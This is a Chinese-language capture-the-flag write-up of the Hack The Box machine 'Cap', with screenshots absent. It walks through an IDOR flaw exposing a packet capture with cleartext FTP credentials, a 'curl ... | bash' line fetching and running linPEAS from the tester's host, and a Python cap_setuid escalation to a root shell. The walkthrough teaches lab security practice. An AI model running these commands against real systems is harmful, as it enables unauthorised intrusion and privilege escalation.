Hack-The-Box-Cap

Introduction

通过这篇博客,你会了解到 IDOR、FTP协议的安全隐患、linPEAS 的使用、cap_setuid权限。

Write-up

User flag

首先 nmap 扫描目标主机端口:

先从ftp入手,尝试匿名登录,失败了:

然后从 http 入手,浏览器访问 http://10.10.10.245:

点击 Security Snapshot:

然后点击下载后,下载了一个 1.pcap。这是一个数据包捕获文件,可以用 Wireshark 打开:

可以看出来这捕获的是我们本机的 HTTP 流量,并没有什么用。

回头看地址栏,发现形式是/data/id,于是猜测将id改为0,会不会看到之前的数据包。此漏洞称为不安全直接对象引用 (Insecure Direct Object Reference,IDOR),用户可以直接访问其他用户拥有的数据。

成功下载 0.pacp,发现了两条敏感数据:

FTP 流量中包括了用户身份验证。注意 FTP 协议本身存在安全隐患,因为它传输的用户名和密码是明文的,建议使用加密的传输协议(如 FTPS 或 SFTP)来确保数据安全性。于是利用 ssh 远程登录:

找到 user flag:

Root flag

之前我们在 Archetype 机器上利用winPEAS,搜索在 Windows 主机上提升权限的可能路径。对于Linux 操作系统,我们使用 linPEAS查找提升权限的可能路径。

在 linpeas.sh 所在目录启动一个 http.server:

python3 -m http.server 8000 

让目标主机获取 linpeas.sh,并将通过管道传输到 bash 直接执行它:

curl http://10.10.16.18:8000/linpeas.sh | bash

发现一条重要信息:

发现了在 Oopsie 机器遇到过的 SUID。/usr/bin/python3.8 拥有 cap_setuid 权限,它允许进程在没有设置 SUID 位的情况下切换用户身份到任意 UID。利用这个配置,我们可以切换到 UID 0(即 root)。

打开 Python 进程,输入以下命令:

import os 
os.setuid(0)
os.system("/bin/bash")

成功获取 root 权限:

root flag:

Conclusion

前面几篇都是 Starting Point 的机器,从这篇开始做 Machines,没想到第一个比以前做过的都简单。多刷,思路就越来越清晰了。